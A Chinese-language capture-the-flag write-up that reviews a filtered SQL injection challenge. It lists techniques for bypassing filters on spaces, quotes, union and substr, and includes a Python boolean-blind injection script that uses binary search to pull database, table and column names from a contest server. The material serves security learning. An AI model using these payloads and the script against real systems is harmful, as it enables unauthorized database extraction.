这道sql注入题有许多值得学习的地方,final那个时候刚做完一道misc题,时间就已经不太够了,

今天想复盘下但是题目的环境关了,没把源码下过来……草

嫖了下源码,对源码进行了分析

image.png

emm,其实过滤的还挺多的

一个个分析,空格、用来盲注的substrmid(和substr类似,可以选取字符)等好多常用的都被过滤了……

那个时候没想到啥好法子来绕过过滤(时间也比较紧)所以没做出来,有些遗憾了

比赛结束之后我和kabuto师傅交流了一下,总结了一下绕过的方法

  • 空格被过滤了,可以用()或注释符/**/两者替代,具体视情况使用

  • 单引号和等于号也被过滤了,所以类似于like/rlike/regexp 'xxxxx'之类的也不能用的,到后面发现由于这道题的sql语句为SELECT code,msg FROM errors WHERE code='.$code,这说明code后面的可以是数字,所以本来不加引号也可以的,即为(code=0||your command),唯一需要使用单引号的地方是上述’xxxxx’,但可以将这一串字符串转化为hex,例如将pokemon转化为706f6b656d6f6e,然后两边()起来,in没有被过滤,可以使用in来替代=/like/rlike/regexp

  • regexp也不能用,因为^和$都被过滤了,这2个符号都是正则表达式的标志,例如table_schema regexp '^pokemon$'

  • 因为union被ban掉了,一般的sql套路不管用了,要么考虑用select或者是其他语句,其实我觉得这种情况基本可以考虑布尔盲注或时间盲注了

  • 本来可以利用mid/substr/substring来进行布尔盲注的,但都被ban掉了,可以利用right()left()left(a,b):即为在字符串a中从左到右取b位,right(a,b)与之相反,两个一起使用的话可以取到每一位的字符

  • 爆破的方法可以用字典,但是二分法的速度比较快

  • 注释符#给ban掉了,可以不加注释符或是用--+等注释符代替

  • ||可以代替or执行语句,相对的,&&可以代替and执行语句

这里补充一下二分法

image.png

注意:二分法只是提高了计算的速度,但不一定是最准确的方法,最准确的方法是遍历搜索

这里附上kabuto师傅给的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import time
url = "http://146.56.223.34:65432/error.php"
i = 0
flag = ''
while True:
i += 1
begin = 32
end = 126
tmp = (begin + end) // 2
#tmp=79,中位数
#每一次都需要初始化这3个数据
while begin < end:
#print(begin, tmp, end)
time.sleep(0.1)
#payload1="0||ascii(right(left(database()),{}),1)>{}".format(i,tmp)
#payload2="0||ascii(right(left(select/**/group_concat(table_name)from(information_schema.tables)where(table_schema)IN(0x706f6b656d6f6e),{}),1))>{}".format(i,tmp)
#payload3="0||ascii(right(left(select/**/group_concat(column_name)from(information_schema.columns)where(table_name)IN(0x736565656565656563726574),{}),1))>{}".format(i,tmp)
#payload4="0||ascii(right(left(select/**/xxx/**/from/**/???),{}),1)>{}".format(i,tmp)即可得出flag
payload ="0||ascii(right(left(select/**/group_concat(column_name)from(information_schema.columns)where(table_name)IN(0x736565656565656563726574),{}),1))>{}".format(i,tmp)
data={'code':payload}
#kw = {"id":"1^(1>2)"}
r = requests.get(url,params=data)
#print(r.text)
if 'Pokemon' in r.text: #ascii值比tmp值要大,payload语句条件为真
begin = tmp + 1
#begin = tmp
tmp = (begin + end) // 2
else: #ascii值比tmp值要小,payload语句条件为假
end = tmp
tmp = (begin + end) // 2

if (chr(tmp) == " "): # ascii(" ")=32,即空格字符的ascii值为32,当字符为空格时说明已经爆破完了
break
# if begin == 32:
# break
flag += chr(tmp)
print(flag)

其中hex(0x706f6b656d6f6e)=pokemon

hex(0x736565656565656563726574)=seeeeeeecret

注意一点:在将pokemon和seeeeeeerect转化为hex之后需要加上‘0x’,不然数据库可能无法解析报错